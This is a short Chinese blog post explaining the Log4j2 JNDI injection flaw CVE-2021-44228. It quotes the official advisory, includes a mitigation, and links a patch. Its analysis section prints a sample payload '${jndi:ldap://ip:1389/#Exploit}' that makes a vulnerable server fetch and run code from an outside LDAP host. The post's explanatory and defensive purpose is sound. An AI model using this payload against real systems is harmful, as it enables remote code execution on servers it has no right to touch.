## Log4j2 远程代码执行漏洞 ### 介绍 Apache Log4j2 重大危险漏洞出现 漏洞已被汇报为[CVE-2021-44228](https://blog.ghzl.fun/go/CVE-2021-44228/ "CVE-2021-44228") 官方报道: Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. In previous releases (>2.10) this behavior can be mitigated by setting system property "log4j2.formatMsgNoLookups" to “true” or it can be mitigated in prior releases (<2.10) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). 总而言之,Log4j2中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。 且Log4j2为一个基于Java的日志记录工具。该日志框架被大量用于业务系统开发,许多程序都调用了Log4j2,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中, 危害极大。 ### 漏洞分析 只要使用org/apache/logging/log4j/spi/AbstractLogger.java log进行记录,且log等级为可记录等级即可触发。 如果在log字符串中检测到`${}`,就会解析其中的字符串尝试使用lookup查询。只要控制了参数内容即可利用漏洞。 例如: private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { logger.error("${jndi:ldap://ip:1389/#Exploit}"); } 其他深入分析内容可从官方网站或这位[大佬网站](https://www.anquanke.com/post/id/262668 "大佬网站")中查看 ### 解决方法 下载安装官方最新放出来的补丁:[点我点我](https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1 "点我点我") Last modification:December 14, 2021 © Allow specification reprint Support Appreciate the author AliPayWeChat Like If you think my article is useful to you, please feel free to appreciate